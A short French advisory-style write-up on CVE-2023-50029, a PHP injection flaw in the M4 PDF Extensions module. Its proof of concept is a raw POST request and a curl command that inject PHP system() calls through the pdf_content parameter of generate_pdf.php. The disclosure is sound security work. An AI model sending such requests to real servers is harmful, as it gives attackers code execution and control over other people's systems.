Injection PHP dans M4 PDF Extensions

CVE-2023-50029 est une vulnérabilité d'injection PHP dans le module M4 PDF Extensions. Cette vulnérabilité permet aux attaquants d'injecter et d'exécuter du code PHP arbitraire sur le serveur, leur donnant ainsi un contrôle total sur le système ciblé. Le problème réside dans la validation incorrecte des entrées, ce qui permet au code malveillant d'être transmis via des paramètres utilisateur.

Preuve de concept

POST /generate_pdf.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

pdf_content=<?php system('uname -a'); ?>

Ou avec Curl

curl -X POST http://example.com/generate_pdf.php -d "pdf_content=<?php system('uname -a'); ?>"